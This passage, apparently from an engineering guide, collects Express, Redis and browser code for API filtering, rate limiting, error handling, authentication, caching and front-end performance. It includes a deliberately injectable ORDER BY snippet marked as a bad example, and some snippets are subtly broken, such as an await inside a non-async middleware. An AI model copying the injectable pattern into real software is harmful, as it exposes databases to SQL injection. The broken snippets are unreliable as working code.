    conditions.push(`price >= $${paramIndex++}`);
    params.push(parseFloat(price_min));
  }

  if (price_max) {
    conditions.push(`price <= $${paramIndex++}`);
    params.push(parseFloat(price_max));
  }

  if (in_stock === 'true') {
    conditions.push('stock > 0');
  }

  const whereClause = conditions.join(' AND ');

  // Validate and build ORDER BY
  const allowedSortFields = ['id', 'name', 'price', 'created_at', 'stock'];
  if (!allowedSortFields.includes(sort)) {
    return res.status(400).json({ error: 'Invalid sort field' });
  }

  const orderDir = order.toLowerCase() === 'desc' ? 'DESC' : 'ASC';
  const orderClause = `${sort} ${orderDir}`;

  // Pagination
  const pageNum = parseInt(page);
  const limitNum = Math.min(parseInt(limit), 100);  // max 100
  const offset = (pageNum - 1) * limitNum;

  params.push(limitNum, offset);

  // Execute query
  const query = `
    SELECT * FROM products
    WHERE ${whereClause}
    ORDER BY ${orderClause}
    LIMIT $${paramIndex++} OFFSET $${paramIndex++}
  `;

  const products = await db.query(query, params);

  // Get total count for pagination
  const countQuery = `SELECT COUNT(*) FROM products WHERE ${whereClause}`;
  const totalResult = await db.query(countQuery, params.slice(0, -2));
  const total = parseInt(totalResult.rows[0].count);

  res.json({
    data: products.rows,
    meta: {
      page: pageNum,
      limit: limitNum,
      total,
      totalPages: Math.ceil(total / limitNum),
      filters: { category, price_min, price_max, in_stock },
      sort: { field: sort, order: orderDir }
    }
  });
});

function validateFilter(filter) {
  const allowedFields = ['name', 'email', 'status', 'role'];
  const allowedOperators = ['$eq', '$ne', '$gt', '$gte', '$lt', '$lte', '$in'];

  for (const field of Object.keys(filter)) {
    if (!allowedFields.includes(field)) {
      throw new Error(`Invalid filter field: ${field}`);
    }

    if (typeof filter[field] === 'object') {
      for (const operator of Object.keys(filter[field])) {
        if (!allowedOperators.includes(operator)) {
          throw new Error(`Invalid operator: ${operator}`);
        }
      }
    }
  }
}

// ❌ BAD - SQL injection vulnerability
app.get('/users', (req, res) => {
  const { sort } = req.query;
  const query = `SELECT * FROM users ORDER BY ${sort}`;  // DANGEROUS!
  db.query(query);
});

// ✅ GOOD - Whitelist allowed fields
app.get('/users', (req, res) => {
  const { sort } = req.query;
  const allowedFields = ['id', 'name', 'created_at'];

  if (!allowedFields.includes(sort)) {
    return res.status(400).json({ error: 'Invalid sort field' });
  }

  const query = `SELECT * FROM users ORDER BY ${sort}`;  // Safe
  db.query(query);
});

GET /products/filters

{
  "filters": {
    "category": {
      "type": "string",
      "description": "Product category",
      "example": "electronics"
    },
    "price_min": {
      "type": "number",
      "description": "Minimum price",
      "example": 100
    },
    "price_max": {
      "type": "number",
      "description": "Maximum price",
      "example": 500
    },
    "in_stock": {
      "type": "boolean",
      "description": "Filter by stock availability",
      "example": true
    }
  },
  "sortFields": ["id", "name", "price", "created_at", "stock"],
  "examples": [
    "/products?category=electronics&price_min=100&sort=-price",
    "/products?in_stock=true&sort=name&page=2"
  ]
}

Window 1: 00:00-00:59 → 100 requests allowed
Window 2: 01:00-01:59 → 100 requests allowed (counter resets)

const rateLimit = require('express-rate-limit');

const limiter = rateLimit({
  windowMs: 60 * 1000,  // 1 minute
  max: 100,             // max 100 requests per window
  message: {
    error: 'Too many requests',
    retryAfter: 60
  },
  standardHeaders: true,  // Return rate limit info in headers
  legacyHeaders: false
});

app.use('/api/', limiter);

HTTP/1.1 200 OK
RateLimit-Limit: 100
RateLimit-Remaining: 75
RateLimit-Reset: 1699876800

HTTP/1.1 429 Too Many Requests
RateLimit-Limit: 100
RateLimit-Remaining: 0
RateLimit-Reset: 1699876800
Retry-After: 60

{
  "error": "Too many requests",
  "retryAfter": 60
}

At 00:30: Count requests from 23:30-00:30
At 00:31: Count requests from 23:31-00:31

const Redis = require('ioredis');
const redis = new Redis();

async function slidingWindowRateLimit(userId, limit, windowMs) {
  const key = `ratelimit:${userId}`;
  const now = Date.now();
  const windowStart = now - windowMs;

  // Start transaction
  const pipeline = redis.pipeline();

  // Remove old entries
  pipeline.zremrangebyscore(key, 0, windowStart);

  // Count requests in window
  pipeline.zcard(key);

  // Add current request
  pipeline.zadd(key, now, `${now}-${Math.random()}`);

  // Set expiry
  pipeline.expire(key, Math.ceil(windowMs / 1000));

  const results = await pipeline.exec();
  const count = results[1][1];

  if (count >= limit) {
    throw new Error('Rate limit exceeded');
  }

  return {
    allowed: true,
    remaining: limit - count - 1
  };
}

// Middleware
app.use(async (req, res, next) => {
  try {
    const userId = req.user?.id || req.ip;
    const result = await slidingWindowRateLimit(userId, 100, 60000);

    res.set({
      'X-RateLimit-Limit': 100,
      'X-RateLimit-Remaining': result.remaining
    });

    next();
  } catch (error) {
    res.status(429).json({
      error: 'Rate limit exceeded'
    });
  }
});

Bucket capacity: 100 tokens
Refill rate: 10 tokens/second
Request: Consumes 1 token

class TokenBucket {
  constructor(capacity, refillRate) {
    this.capacity = capacity;
    this.tokens = capacity;
    this.refillRate = refillRate;  // tokens per second
    this.lastRefill = Date.now();
  }

  refill() {
    const now = Date.now();
    const timePassed = (now - this.lastRefill) / 1000;  // seconds
    const tokensToAdd = timePassed * this.refillRate;

    this.tokens = Math.min(this.capacity, this.tokens + tokensToAdd);
    this.lastRefill = now;
  }

  tryConsume(tokens = 1) {
    this.refill();

    if (this.tokens >= tokens) {
      this.tokens -= tokens;
      return true;
    }

    return false;
  }

  getAvailableTokens() {
    this.refill();
    return Math.floor(this.tokens);
  }
}

// Usage
const buckets = new Map();

app.use((req, res, next) => {
  const userId = req.user?.id || req.ip;

  if (!buckets.has(userId)) {
    buckets.set(userId, new TokenBucket(100, 10));  // 100 capacity, 10/sec
  }

  const bucket = buckets.get(userId);

  if (bucket.tryConsume(1)) {
    res.set({
      'X-RateLimit-Limit': 100,
      'X-RateLimit-Remaining': bucket.getAvailableTokens()
    });
    next();
  } else {
    res.status(429).json({
      error: 'Rate limit exceeded',
      retryAfter: Math.ceil((1 - bucket.tokens) / bucket.refillRate)
    });
  }
});

Bucket capacity: 100 requests
Leak rate: 10 requests/second
Incoming requests queue up

function getRateLimit(user) {
  if (!user) {
    return { limit: 10, window: 60000 };      // Anonymous: 10/min
  }

  switch (user.tier) {
    case 'free':
      return { limit: 100, window: 60000 };   // Free: 100/min
    case 'pro':
      return { limit: 1000, window: 60000 };  // Pro: 1000/min
    case 'enterprise':
      return { limit: 10000, window: 60000 }; // Enterprise: 10000/min
    default:
      return { limit: 100, window: 60000 };
  }
}

app.use(async (req, res, next) => {
  const limits = getRateLimit(req.user);
  const userId = req.user?.id || req.ip;

  const allowed = await checkRateLimit(userId, limits.limit, limits.window);

  if (!allowed) {
    return res.status(429).json({
      error: 'Rate limit exceeded',
      tier: req.user?.tier || 'anonymous',
      limit: limits.limit
    });
  }

  res.set({
    'X-RateLimit-Limit': limits.limit,
    'X-RateLimit-Tier': req.user?.tier || 'anonymous'
  });

  next();
});

// Different limits for different endpoints
const authLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,  // 15 minutes
  max: 5,                     // 5 requests
  message: 'Too many login attempts'
});

const apiLimiter = rateLimit({
  windowMs: 60 * 1000,  // 1 minute
  max: 100              // 100 requests
});

const uploadLimiter = rateLimit({
  windowMs: 60 * 60 * 1000,  // 1 hour
  max: 10                     // 10 uploads
});

app.post('/auth/login', authLimiter, loginHandler);
app.use('/api', apiLimiter);
app.post('/upload', uploadLimiter, uploadHandler);

X-RateLimit-Limit: 100
X-RateLimit-Remaining: 75
X-RateLimit-Reset: 1699876800
Retry-After: 60

res.set({
  'X-RateLimit-Limit': limit,
  'X-RateLimit-Remaining': remaining,
  'X-RateLimit-Reset': Math.ceil(resetTime / 1000),
  'Retry-After': retryAfter
});

{
  "error": "Rate limit exceeded",
  "message": "You have exceeded the rate limit of 100 requests per minute",
  "limit": 100,
  "windowMs": 60000,
  "retryAfter": 45,
  "resetAt": "2023-11-15T10:00:00Z"
}

# Rate Limits

## Free Tier
- 100 requests/minute
- 5,000 requests/day

## Pro Tier
- 1,000 requests/minute
- 50,000 requests/day

## Enterprise Tier
- 10,000 requests/minute
- Unlimited daily requests

## Endpoint-Specific Limits
- POST /auth/login: 5 requests/15 minutes
- POST /upload: 10 requests/hour

// Redis-based distributed rate limiting
const Redis = require('ioredis');
const redis = new Redis();

async function checkRateLimit(key, limit, window) {
  const current = await redis.incr(key);

  if (current === 1) {
    await redis.expire(key, Math.ceil(window / 1000));
  }

  return {
    allowed: current <= limit,
    remaining: Math.max(0, limit - current),
    current
  };
}

{
  "error": {
    "code": "USER_NOT_FOUND",
    "message": "User with ID 123 was not found",
    "details": {
      "userId": 123
    },
    "timestamp": "2023-11-15T10:00:00Z",
    "path": "/users/123",
    "requestId": "abc-123-def-456"
  }
}

class APIError extends Error {
  constructor(code, message, statusCode = 500, details = {}) {
    super(message);
    this.code = code;
    this.statusCode = statusCode;
    this.details = details;
  }

  toJSON() {
    return {
      error: {
        code: this.code,
        message: this.message,
        details: this.details,
        timestamp: new Date().toISOString()
      }
    };
  }
}

// Error handler middleware
app.use((err, req, res, next) => {
  if (err instanceof APIError) {
    return res.status(err.statusCode).json({
      ...err.toJSON(),
      path: req.path,
      requestId: req.id
    });
  }

  // Generic error
  console.error('Unexpected error:', err);
  res.status(500).json({
    error: {
      code: 'INTERNAL_SERVER_ERROR',
      message: 'An unexpected error occurred',
      requestId: req.id
    }
  });
});

// Usage
app.get('/users/:id', async (req, res, next) => {
  const user = await db.getUser(req.params.id);

  if (!user) {
    throw new APIError(
      'USER_NOT_FOUND',
      `User with ID ${req.params.id} was not found`,
      404,
      { userId: req.params.id }
    );
  }

  res.json(user);
});

const ErrorCodes = {
  // Authentication & Authorization
  UNAUTHORIZED: 'UNAUTHORIZED',
  FORBIDDEN: 'FORBIDDEN',
  INVALID_TOKEN: 'INVALID_TOKEN',
  TOKEN_EXPIRED: 'TOKEN_EXPIRED',

  // Validation
  VALIDATION_ERROR: 'VALIDATION_ERROR',
  INVALID_INPUT: 'INVALID_INPUT',
  MISSING_REQUIRED_FIELD: 'MISSING_REQUIRED_FIELD',

  // Resources
  RESOURCE_NOT_FOUND: 'RESOURCE_NOT_FOUND',
  RESOURCE_ALREADY_EXISTS: 'RESOURCE_ALREADY_EXISTS',
  RESOURCE_CONFLICT: 'RESOURCE_CONFLICT',

  // Rate Limiting
  RATE_LIMIT_EXCEEDED: 'RATE_LIMIT_EXCEEDED',

  // Server Errors
  INTERNAL_SERVER_ERROR: 'INTERNAL_SERVER_ERROR',
  SERVICE_UNAVAILABLE: 'SERVICE_UNAVAILABLE',
  DATABASE_ERROR: 'DATABASE_ERROR',
  EXTERNAL_SERVICE_ERROR: 'EXTERNAL_SERVICE_ERROR'
};

{
  "error": {
    "code": "VALIDATION_ERROR",
    "message": "Request validation failed",
    "details": {
      "email": {
        "value": "invalid-email",
        "message": "Must be a valid email address",
        "rule": "email"
      },
      "age": {
        "value": -5,
        "message": "Must be a positive number",
        "rule": "min",
        "params": { "min": 0 }
      }
    }
  }
}

const Joi = require('joi');

const userSchema = Joi.object({
  name: Joi.string().required(),
  email: Joi.string().email().required(),
  age: Joi.number().min(0).max(150)
});

app.post('/users', async (req, res, next) => {
  const { error, value } = userSchema.validate(req.body, {
    abortEarly: false
  });

  if (error) {
    const details = {};
    error.details.forEach(err => {
      details[err.path[0]] = {
        value: err.context.value,
        message: err.message,
        rule: err.type
      };
    });

    return res.status(422).json({
      error: {
        code: 'VALIDATION_ERROR',
        message: 'Request validation failed',
        details
      }
    });
  }

  // Process valid data
  const user = await createUser(value);
  res.status(201).json(user);
});

// ❌ BAD - Exposes stack trace and internal paths
{
  "error": "Error: ENOENT: no such file or directory, open '/var/app/data/user-123.json'",
  "stack": "Error: ENOENT...\n    at Object.openSync (fs.js:476:3)\n    ..."
}

// ✅ GOOD - Generic message, log details server-side
{
  "error": {
    "code": "USER_NOT_FOUND",
    "message": "User not found",
    "requestId": "abc-123"
  }
}

// Server-side logging
console.error('File read error:', {
  error: err.message,
  stack: err.stack,
  path: filepath,
  requestId: req.id,
  userId: req.user?.id
});

// ❌ BAD - Vague
{
  "error": "Invalid input"
}

// ✅ GOOD - Specific and actionable
{
  "error": {
    "code": "INVALID_EMAIL",
    "message": "The email address 'user@invalid' is not valid. Please provide a valid email address (e.g., user@example.com)",
    "field": "email",
    "value": "user@invalid"
  }
}

// Always use the same structure
function formatError(code, message, statusCode, details = {}) {
  return {
    error: {
      code,
      message,
      ...(Object.keys(details).length > 0 && { details }),
      timestamp: new Date().toISOString()
    }
  };
}

// Validation error
res.status(422).json(formatError(
  'VALIDATION_ERROR',
  'Validation failed',
  422,
  validationErrors
));

// Not found error
res.status(404).json(formatError(
  'NOT_FOUND',
  'Resource not found',
  404
));

const { v4: uuidv4 } = require('uuid');

// Add request ID middleware
app.use((req, res, next) => {
  req.id = uuidv4();
  res.set('X-Request-ID', req.id);
  next();
});

// Include in error responses
app.use((err, req, res, next) => {
  res.status(err.statusCode || 500).json({
    error: {
      code: err.code,
      message: err.message,
      requestId: req.id
    }
  });
});

// Log with request ID
console.error(`[${req.id}] Error:`, err);

app.use((err, req, res, next) => {
  // Validation errors
  if (err.name === 'ValidationError') {
    return res.status(422).json(formatValidationError(err));
  }

  // Database errors
  if (err.name === 'SequelizeUniqueConstraintError') {
    return res.status(409).json({
      error: {
        code: 'DUPLICATE_ENTRY',
        message: 'A record with this value already exists',
        field: err.errors[0].path
      }
    });
  }

  // JWT errors
  if (err.name === 'JsonWebTokenError') {
    return res.status(401).json({
      error: {
        code: 'INVALID_TOKEN',
        message: 'Invalid authentication token'
      }
    });
  }

  if (err.name === 'TokenExpiredError') {
    return res.status(401).json({
      error: {
        code: 'TOKEN_EXPIRED',
        message: 'Authentication token has expired'
      }
    });
  }

  // Default
  res.status(500).json({
    error: {
      code: 'INTERNAL_SERVER_ERROR',
      message: 'An unexpected error occurred',
      requestId: req.id
    }
  });
});

GET /users HTTP/1.1
X-API-Key: sk_live_abc123def456

app.use('/api', (req, res, next) => {
  const apiKey = req.headers['x-api-key'];

  if (!apiKey) {
    return res.status(401).json({
      error: 'API key required'
    });
  }

  const key = await db.query(
    'SELECT * FROM api_keys WHERE key = $1 AND active = true',
    [apiKey]
  );

  if (!key.rows[0]) {
    return res.status(401).json({
      error: 'Invalid API key'
    });
  }

  req.apiKey = key.rows[0];
  req.user = await db.getUser(key.rows[0].user_id);
  next();
});

GET /users HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

const jwt = require('jsonwebtoken');

// Generate token
app.post('/auth/login', async (req, res) => {
  const { email, password } = req.body;

  const user = await authenticateUser(email, password);
  if (!user) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  const token = jwt.sign(
    {
      userId: user.id,
      email: user.email,
      role: user.role
    },
    process.env.JWT_SECRET,
    { expiresIn: '1h' }
  );

  res.json({ token, expiresIn: 3600 });
});

// Verify token middleware
function authenticateJWT(req, res, next) {
  const authHeader = req.headers.authorization;

  if (!authHeader || !authHeader.startsWith('Bearer ')) {
    return res.status(401).json({ error: 'Token required' });
  }

  const token = authHeader.substring(7);

  try {
    const payload = jwt.verify(token, process.env.JWT_SECRET);
    req.user = payload;
    next();
  } catch (error) {
    if (error.name === 'TokenExpiredError') {
      return res.status(401).json({ error: 'Token expired' });
    }
    return res.status(401).json({ error: 'Invalid token' });
  }
}

app.get('/profile', authenticateJWT, (req, res) => {
  res.json({ user: req.user });
});

const roles = {
  admin: ['read', 'write', 'delete', 'manage_users'],
  moderator: ['read', 'write', 'delete'],
  user: ['read', 'write'],
  guest: ['read']
};

function authorize(...requiredPermissions) {
  return (req, res, next) => {
    const userRole = req.user?.role || 'guest';
    const userPermissions = roles[userRole] || [];

    const hasPermission = requiredPermissions.every(permission =>
      userPermissions.includes(permission)
    );

    if (!hasPermission) {
      return res.status(403).json({
        error: 'Insufficient permissions',
        required: requiredPermissions,
        current: userPermissions
      });
    }

    next();
  };
}

// Usage
app.get('/posts', authenticateJWT, authorize('read'), getPosts);
app.post('/posts', authenticateJWT, authorize('write'), createPost);
app.delete('/posts/:id', authenticateJWT, authorize('delete'), deletePost);
app.get('/admin/users', authenticateJWT, authorize('manage_users'), getUsers);

app.delete('/posts/:id', authenticateJWT, async (req, res) => {
  const post = await db.getPost(req.params.id);

  if (!post) {
    return res.status(404).json({ error: 'Post not found' });
  }

  // Check ownership or admin role
  const canDelete = post.authorId === req.user.userId ||
                    req.user.role === 'admin';

  if (!canDelete) {
    return res.status(403).json({
      error: 'You can only delete your own posts'
    });
  }

  await db.deletePost(req.params.id);
  res.status(204).send();
});

{
  "id": 123,
  "name": "John Doe",
  "email": "john@example.com",
  "_links": {
    "self": {
      "href": "/users/123"
    },
    "posts": {
      "href": "/users/123/posts"
    },
    "followers": {
      "href": "/users/123/followers"
    },
    "following": {
      "href": "/users/123/following"
    }
  }
}

{
  "_links": {
    "self": { "href": "/orders/123" },
    "customer": { "href": "/customers/456" },
    "items": { "href": "/orders/123/items" }
  },
  "id": 123,
  "total": 99.99,
  "status": "pending",
  "_embedded": {
    "items": [
      {
        "_links": {
          "self": { "href": "/items/789" }
        },
        "id": 789,
        "name": "Product A",
        "price": 49.99
      }
    ]
  }
}

function addLinks(resource, type, req) {
  const baseUrl = `${req.protocol}://${req.get('host')}`;

  resource._links = {
    self: { href: `${baseUrl}${req.path}` }
  };

  switch (type) {
    case 'user':
      resource._links.posts = {
        href: `${baseUrl}/users/${resource.id}/posts`
      };
      resource._links.followers = {
        href: `${baseUrl}/users/${resource.id}/followers`
      };
      break;

    case 'post':
      resource._links.author = {
        href: `${baseUrl}/users/${resource.authorId}`
      };
      resource._links.comments = {
        href: `${baseUrl}/posts/${resource.id}/comments`
      };
      break;
  }

  return resource;
}

app.get('/users/:id', async (req, res) => {
  const user = await db.getUser(req.params.id);
  res.json(addLinks(user, 'user', req));
});

openapi: 3.0.0
info:
  title: User API
  version: 1.0.0
  description: API for managing users

paths:
  /users:
    get:
      summary: List users
      parameters:
        - name: page
          in: query
          schema:
            type: integer
            default: 1
        - name: limit
          in: query
          schema:
            type: integer
            default: 20
      responses:
        '200':
          description: Successful response
          content:
            application/json:
              schema:
                type: object
                properties:
                  data:
                    type: array
                    items:
                      $ref: '#/components/schemas/User'

    post:
      summary: Create user
      requestBody:
        required: true
        content:
          application/json:
            schema:
              $ref: '#/components/schemas/CreateUserRequest'
      responses:
        '201':
          description: User created
          content:
            application/json:
              schema:
                $ref: '#/components/schemas/User'
        '422':
          description: Validation error

components:
  schemas:
    User:
      type: object
      properties:
        id:
          type: integer
        name:
          type: string
        email:
          type: string

    CreateUserRequest:
      type: object
      required:
        - name
        - email
      properties:
        name:
          type: string
        email:
          type: string
          format: email

const swaggerJsdoc = require('swagger-jsdoc');
const swaggerUi = require('swagger-ui-express');

const options = {
  definition: {
    openapi: '3.0.0',
    info: {
      title: 'User API',
      version: '1.0.0',
    },
  },
  apis: ['./routes/*.js'],
};

const specs = swaggerJsdoc(options);
app.use('/api-docs', swaggerUi.serve, swaggerUi.setup(specs));

/**
 * @swagger
 * /users:
 *   get:
 *     summary: Retrieve users
 *     responses:
 *       200:
 *         description: List of users
 */
app.get('/users', getUsers);

const idempotencyCache = new Map();

app.post('/orders', async (req, res) => {
  const idempotencyKey = req.headers['idempotency-key'];

  if (!idempotencyKey) {
    return res.status(400).json({
      error: 'Idempotency-Key header required'
    });
  }

  // Check cache
  if (idempotencyCache.has(idempotencyKey)) {
    const cachedResponse = idempotencyCache.get(idempotencyKey);
    return res.status(cachedResponse.status).json(cachedResponse.body);
  }

  // Process request
  const order = await createOrder(req.body);

  // Cache response
  const response = { status: 201, body: order };
  idempotencyCache.set(idempotencyKey, response);

  // Expire after 24 hours
  setTimeout(() => {
    idempotencyCache.delete(idempotencyKey);
  }, 24 * 60 * 60 * 1000);

  res.status(201).json(order);
});

GET /users/123 HTTP/1.1

HTTP/1.1 200 OK
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"

{ "id": 123, "name": "John" }

GET /users/123 HTTP/1.1
If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"

HTTP/1.1 304 Not Modified

HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
Expires: Wed, 15 Nov 2023 11:00:00 GMT

// Client polls every 30 seconds
setInterval(async () => {
  const status = await fetch('/api/job/123/status');
  if (status.completed) {
    // Process result
  }
}, 30000);

// Server notifies client when ready
app.post('/jobs', async (req, res) => {
  const job = await createJob(req.body);

  // Process asynchronously
  processJob(job.id).then(result => {
    // Notify via webhook
    fetch(req.body.webhookUrl, {
      method: 'POST',
      body: JSON.stringify({ jobId: job.id, result })
    });
  });

  res.status(202).json({ jobId: job.id });
});

Client → API Gateway → [Microservice A, Microservice B, Microservice C]

HTTP/1.1 200 OK
Sunset: Sat, 31 Dec 2023 23:59:59 GMT
Deprecation: true
Link: </v2/users>; rel="successor-version"
Warning: 299 - "This endpoint is deprecated"

// Monitor LCP
new PerformanceObserver((entryList) => {
  for (const entry of entryList.getEntries()) {
    console.log('LCP:', entry.renderTime || entry.loadTime);
  }
}).observe({ entryTypes: ['largest-contentful-paint'] });

/* Reserve space for images */
img {
  aspect-ratio: 16 / 9;
  width: 100%;
  height: auto;
}

/* Prevent flash of unstyled content */
.skeleton {
  min-height: 200px;
  background: linear-gradient(90deg, #f0f0f0 25%, #e0e0e0 50%, #f0f0f0 75%);
}

// Monitor FCP
new PerformanceObserver((entryList) => {
  for (const entry of entryList.getEntries()) {
    if (entry.name === 'first-contentful-paint') {
      console.log('FCP:', entry.startTime);
    }
  }
}).observe({ entryTypes: ['paint'] });

// Approximate TTI detection
let ttiTime;
const observer = new PerformanceObserver((list) => {
  const entries = list.getEntries();
  // Look for a 5-second window with no long tasks
  entries.forEach(entry => {
    if (entry.duration < 50) {
      ttiTime = entry.startTime + entry.duration;
    }
  });
});
observer.observe({ entryTypes: ['longtask'] });

// Measure TTFB
const perfData = performance.getEntriesByType('navigation')[0];
const ttfb = perfData.responseStart - perfData.requestStart;
console.log('TTFB:', ttfb);

// Monitor long tasks
const observer = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    // Tasks longer than 50ms block the main thread
    console.log('Long task:', entry.duration);
  }
});
observer.observe({ entryTypes: ['longtask'] });

HTML → DOM Tree
CSS  → CSSOM Tree
     ↓
Render Tree → Layout → Paint → Composite
     ↑
JavaScript

<!-- Preload critical resources -->
<link rel="preload" href="critical.css" as="style">
<link rel="preload" href="hero.jpg" as="image">
<link rel="preload" href="app.js" as="script">

<!-- Prefetch for next page -->
<link rel="prefetch" href="next-page.js">

<!-- DNS prefetch for external domains -->
<link rel="dns-prefetch" href="https://api.example.com">

<!-- Preconnect for critical third-party origins -->
<link rel="preconnect" href="https://fonts.googleapis.com">

<!-- Async scripts (don't block parsing) -->
<script src="analytics.js" async></script>

<!-- Defer scripts (execute after parsing) -->
<script src="app.js" defer></script>

// Dynamic imports
const handleClick = async () => {
  const module = await import('./heavyFeature.js');
  module.default();
};

// React lazy loading
import { lazy, Suspense } from 'react';

const Dashboard = lazy(() => import('./Dashboard'));

function App() {
  return (
    <Suspense fallback={<div>Loading...</div>}>
      <Dashboard />
    </Suspense>
  );
}

// Webpack code splitting
import(/* webpackChunkName: "lodash" */ 'lodash')
  .then(({ default: _ }) => {
    console.log(_.join(['Hello', 'webpack'], ' '));
  });

// Intersection Observer API
const imageObserver = new IntersectionObserver((entries, observer) => {
  entries.forEach(entry => {
    if (entry.isIntersecting) {
      const img = entry.target;
      img.src = img.dataset.src;
      img.classList.remove('lazy');
      observer.unobserve(img);
    }
  });
});

document.querySelectorAll('img.lazy').forEach(img => {
  imageObserver.observe(img);
});

// Native lazy loading
<img src="image.jpg" loading="lazy" alt="Description">

<!-- Serve WebP/AVIF with fallbacks -->
<picture>
  <source srcset="image.avif" type="image/avif">
  <source srcset="image.webp" type="image/webp">
  <img src="image.jpg" alt="Description">
</picture>

<!-- Different sizes for different viewports -->
<img
  srcset="
    small.jpg 400w,
    medium.jpg 800w,
    large.jpg 1200w
  "
  sizes="
    (max-width: 400px) 400px,
    (max-width: 800px) 800px,
    1200px
  "
  src="medium.jpg"
  alt="Description"
>

<!-- Cloudinary -->
<img src="https://res.cloudinary.com/demo/image/upload/w_400,f_auto,q_auto/sample.jpg">

<!-- Parameters:
     w_400: width 400px
     f_auto: automatic format (WebP/AVIF)
     q_auto: automatic quality optimization
-->

<!-- imgix -->
<img src="https://demo.imgix.net/sample.jpg?w=400&auto=format,compress">

// Responsive images with Cloudinary
const cloudinaryUrl = (publicId, width) => {
  return `https://res.cloudinary.com/demo/image/upload/w_${width},f_auto,q_auto,dpr_auto/${publicId}`;
};

// Usage
<img
  srcset="
    ${cloudinaryUrl('sample', 400)} 400w,
    ${cloudinaryUrl('sample', 800)} 800w,
    ${cloudinaryUrl('sample', 1200)} 1200w
  "
  sizes="(max-width: 400px) 400px, (max-width: 800px) 800px, 1200px"
  src="${cloudinaryUrl('sample', 800)}"
  alt="Sample"
>

// webpack.config.js
const TerserPlugin = require('terser-webpack-plugin');

module.exports = {
  optimization: {
    minimize: true,
    minimizer: [
      new TerserPlugin({
        terserOptions: {
          compress: {
            drop_console: true, // Remove console.logs
            dead_code: true,    // Remove unreachable code
          },
          mangle: true,         // Shorten variable names
        },
      }),
    ],
  },
};

Uncompressed: 1000 KB
Gzip:         300 KB (70% reduction)
Brotli:       250 KB (75% reduction)

# Nginx configuration
http {
  # Gzip compression
  gzip on;
  gzip_vary on;
  gzip_min_length 1024;
  gzip_types text/plain text/css text/xml text/javascript
             application/javascript application/json application/xml+rss;
  gzip_comp_level 6;

  # Brotli compression (better than gzip)
  brotli on;
  brotli_comp_level 6;
  brotli_types text/plain text/css text/xml text/javascript
               application/javascript application/json application/xml+rss;
}

// Express.js
const compression = require('compression');
const express = require('express');
const app = express();

// Enable gzip compression
app.use(compression({
  level: 6,
  threshold: 1024, // Only compress responses > 1KB
  filter: (req, res) => {
    if (req.headers['x-no-compression']) {
      return false;
    }
    return compression.filter(req, res);
  }
}));

// Bad - imports entire library
import _ from 'lodash';
const result = _.debounce(fn, 300);

// Good - only imports what's needed
import debounce from 'lodash-es/debounce';
const result = debounce(fn, 300);

// package.json - mark as side-effect free
{
  "name": "my-app",
  "sideEffects": false, // Enable tree shaking
  // or specify files with side effects
  "sideEffects": ["*.css", "*.scss"]
}

# Webpack Bundle Analyzer
npm install --save-dev webpack-bundle-analyzer

# Add to webpack.config.js
const BundleAnalyzerPlugin = require('webpack-bundle-analyzer').BundleAnalyzerPlugin;

module.exports = {
  plugins: [
    new BundleAnalyzerPlugin({
      analyzerMode: 'static',
      openAnalyzer: true,
      reportFilename: 'bundle-report.html'
    })
  ]
};

# Run analysis
npm run build
# Opens interactive treemap visualization

# Source Map Explorer
npm install -g source-map-explorer

# Analyze bundle
source-map-explorer bundle.min.js bundle.min.js.map

# Vite
npm run build -- --report

# Next.js
npm install @next/bundle-analyzer

// Monitor bundle size in CI/CD
// package.json
{
  "scripts": {
    "analyze": "webpack-bundle-analyzer dist/stats.json",
    "size": "size-limit"
  },
  "size-limit": [
    {
      "path": "dist/bundle.js",
      "limit": "300 KB"
    }
  ]
}

// Tree shaking - remove unused code
import { debounce } from 'lodash-es'; // Instead of entire lodash

// Dynamic imports for routes
const routes = [
  {
    path: '/dashboard',
    component: () => import('./Dashboard.vue')
  }
];

// Bad - blocks main thread
function processLargeArray(items) {
  items.forEach(item => {
    heavyProcessing(item); // Takes 200ms total
  });
}

// Good - break into chunks
async function processLargeArray(items) {
  const chunkSize = 50;

  for (let i = 0; i < items.length; i += chunkSize) {
    const chunk = items.slice(i, i + chunkSize);

    // Process chunk
    chunk.forEach(item => heavyProcessing(item));

    // Yield to browser for UI updates
    await new Promise(resolve => setTimeout(resolve, 0));
  }
}

// Using requestIdleCallback
function processWhenIdle(items) {
  function processChunk(deadline) {
    while (deadline.timeRemaining() > 0 && items.length > 0) {
      const item = items.shift();
      heavyProcessing(item);
    }

    if (items.length > 0) {
      requestIdleCallback(processChunk);
    }
  }

  requestIdleCallback(processChunk);
}

// Detect long tasks
const observer = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    console.warn('Long task detected:', {
      duration: entry.duration,
      startTime: entry.startTime,
      name: entry.name
    });

    // Send to analytics
    analytics.track('long-task', {
      duration: entry.duration,
      url: window.location.href
    });
  }
});

observer.observe({ entryTypes: ['longtask'] });

// Break up long tasks with Task Scheduler API
if ('scheduler' in window) {
  await scheduler.yield(); // Give browser chance to render
}

// Polyfill for older browsers
const yieldToMain = () => {
  return new Promise(resolve => {
    setTimeout(resolve, 0);
  });
};

async function processData(data) {
  for (const item of data) {
    processItem(item);

    // Yield every 50ms
    if (performance.now() % 50 < 1) {
      await yieldToMain();
    }
  }
}

// Debounce expensive operations
function debounce(fn, delay) {
  let timeoutId;
  return function(...args) {
    clearTimeout(timeoutId);
    timeoutId = setTimeout(() => fn.apply(this, args), delay);
  };
}

const handleSearch = debounce((query) => {
  fetch(`/api/search?q=${query}`);
}, 300);

// Throttle scroll/resize handlers
function throttle(fn, limit) {
  let inThrottle;
  return function(...args) {
    if (!inThrottle) {
      fn.apply(this, args);
      inThrottle = true;
      setTimeout(() => inThrottle = false, limit);
    }
  };
}

const handleScroll = throttle(() => {
  console.log('Scroll position:', window.scrollY);
}, 100);

// Memoization for expensive calculations
const memoize = (fn) => {
  const cache = new Map();
  return (...args) => {
    const key = JSON.stringify(args);
    if (cache.has(key)) return cache.get(key);
    const result = fn(...args);
    cache.set(key, result);
    return result;
  };
};

const fibonacci = memoize((n) => {
  if (n <= 1) return n;
  return fibonacci(n - 1) + fibonacci(n - 2);
});

// main.js
const worker = new Worker('worker.js');

